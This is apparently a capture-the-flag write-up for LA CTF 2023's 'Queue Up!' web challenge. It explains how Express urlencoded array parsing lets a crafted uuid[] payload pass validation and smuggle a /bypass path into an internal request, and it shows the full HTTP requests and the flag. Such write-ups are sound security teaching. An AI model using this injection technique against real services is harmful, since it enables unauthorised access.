Tags: javascript type-juggling 

Rating:

# Queue Up!

This was a web challenge from LA CTF 2023.

![image-20230212202749522](./assets/image-20230212202749522.png)

## Analysis

When you visit the challenge, you are assigned cookie named `uuid` with a value like `5a4d25a5-5873-41e2-a4cc-f3633205df40` and put into a queue. You are told that you will have to wait in the queue a long time.

![image-20230212202948288](./assets/image-20230212202948288.png)

In studying the provided source, here are the relevant snippets of code:

`queue.js`

```javascript
app.get("/api/:uuid/status", async (req, res) => {
try {
const user = await Queue.findByPk(req.params.uuid);
res.send(user.served);

} catch {
res.send("false");
}

});

app.get("/api/:uuid/bypass", async (req, res) => {
try {
const user = await Queue.findByPk(req.params.uuid);
if (user === undefined) {
res.send("uuid not found");
} else {
await user.update({served: true});
res.send("bypassed");
}
} catch {
res.send("invalid uuid");
}

});
```

You can see that we want to hit the `/bypass` endpoint with our `uuid`. However, we cannot hit any of the endpoints in `queue.js` directly. They can only be hit by code in `flagserver.js`.

Here's some relevant code from there:

`flagserver.js`

```javascript
app.post("/", async function (req, res) {
let uuid;
try {
uuid = req.body.uuid;
} catch {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}

if (uuid.length != 36) {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}
for (const c of uuid) {
if (!/[-a-f0-9]/.test(c)) {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}
}

const requestUrl = `http://queue:${process.env.QUEUE_SERVER_PORT}/api/${uuid}/status`;
try {
const result = await (await fetch(requestUrl, {
headers: new Headers({
'Authorization': 'Bearer ' + process.env.ADMIN_SECRET
})
})).text();
if (result === "true") {
console.log("Gave flag to UUID " + uuid);
res.send(process.env.FLAG);
} else {
res.redirect(process.env.QUEUE_SERVER_URL);
}
} catch {
res.redirect(process.env.QUEUE_SERVER_URL);
}

});
```

If we POST to this endpoing and include a `uuid` in the body, if our `uuid` passes all the checks, it will make a GET request (using `fetch()`) to the `/status` endpoing in `queue.js`

## Approach

Since we have control over the `uuid` that is POSTed, our goal will be to leverage this expression:

```javascript
`http://queue:${process.env.QUEUE_SERVER_PORT}/api/${uuid}/status`
```

so that it actually hits the `/bypass` endpoint with our assigned `uuid` instead of the `/status` endpoint.

However, it seems to thoroughly verify that the POSTed `uuid` is in the expected syntax which means we normally would not be able to do much here.

However, we noticed this line in `flagserver.js`

```javascript
app.use(express.urlencoded());
```

From this documentation:

https://expressjs.com/en/api.html

We can read:

![image-20230212204110621](./assets/image-20230212204110621.png)

This means we can POST a ``uuid` that is not just a simple string.

If, instead, we make it an array of strings, then we have some room to maneuver.

This technique is called `type juggling`.

To get past:

```javascript
if (uuid.length != 36) {
```

we can simply make the array have 36 entries.

To get past:

```javascript
for (const c of uuid) {
if (!/[-a-f0-9]/.test(c)) {
```

we just need to be sure that each of the 36 entries has at least **one** character that matches the pattern.

Using Burp's Repeater function, we setup this payload:

```
POST / HTTP/1.1
Host: qu-flag.lac.tf
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 368

uuid[]=990c5a07-3501-4aed-b271-eb6b09f67bba/bypass?z=&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2&uuid[]=2
```

Notice we set the `Content-Type` request header to the normal value an HTML form would set when POSTing.

The `uuid[]` syntax in the payload is just syntactic sugar supported by the express library. It ends up building an array whose entries consist of the individual `uuid[]` values.

```javascript
["990c5a07-3501-4aed-b271-eb6b09f67bba/bypass?z=","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2","2"]
```

Since each entry has a `2`, it will bypass the regex loop.

We then get to the expression that builds the URL:

```javascript
`http://queue:${process.env.QUEUE_SERVER_PORT}/api/${uuid}/status`
```

In this case the `${uuid}` expression will call `.toString()` on the array which will just join all the values using a comma.

Thus, it builds up a URL with a context path like this:

```
/api/990c5a07-3501-4aed-b271-eb6b09f67bba/bypass?z=,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2/status
```

Notice this will hit the `/bypass` endpoint with our `uuid` since it stuffs the rest of the entries (and the `/status` portion) into a query string.

## Getting the Flag

If we POST the above payload, `flagserver.js` will indeed hit the `/bypass` endpoing in `queue.js`.

We then only need to do one more (normal) POST to `/` with our `uuid`:

```
POST / HTTP/1.1
Host: qu-flag.lac.tf
Sec-Ch-Ua: "Not A(Brand";v="24", "Chromium";v="110"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.78 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 41

uuid=990c5a07-3501-4aed-b271-eb6b09f67bba
```

This is handled by the following code in `flagserver.js`:

```javascript
// If post, check if uuid has finished the queue, and if so, show flag
app.post("/", async function (req, res) {
let uuid;
try {
uuid = req.body.uuid;
} catch {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}

if (uuid.length != 36) {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}
for (const c of uuid) {
if (!/[-a-f0-9]/.test(c)) {
res.redirect(process.env.QUEUE_SERVER_URL);
return;
}
}

const requestUrl = `http://queue:${process.env.QUEUE_SERVER_PORT}/api/${uuid}/status`;
try {
const result = await (await fetch(requestUrl, {
headers: new Headers({
'Authorization': 'Bearer ' + process.env.ADMIN_SECRET
})
})).text();
if (result === "true") {
console.log("Gave flag to UUID " + uuid);
res.send(process.env.FLAG);
} else {
res.redirect(process.env.QUEUE_SERVER_URL);
}
} catch {
res.redirect(process.env.QUEUE_SERVER_URL);
}

});
```

and we are rewarded with the flag:

```
HTTP/1.1 200 OK
Server: nginx/1.23.2
Date: Sun, 12 Feb 2023 14:53:28 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 25
Connection: close
X-Powered-By: Express
ETag: W/"19-HpWjYkZf5WOM6oKVsTYZvJfBkyI"

lactf{Byp455in_7he_Qu3u3}
```

Thanks to LA CTF for a great web challenge.

Original writeup (https://github.com/sambrow/ctf-writeups/blob/main/2023/la-ctf/queue-up.md).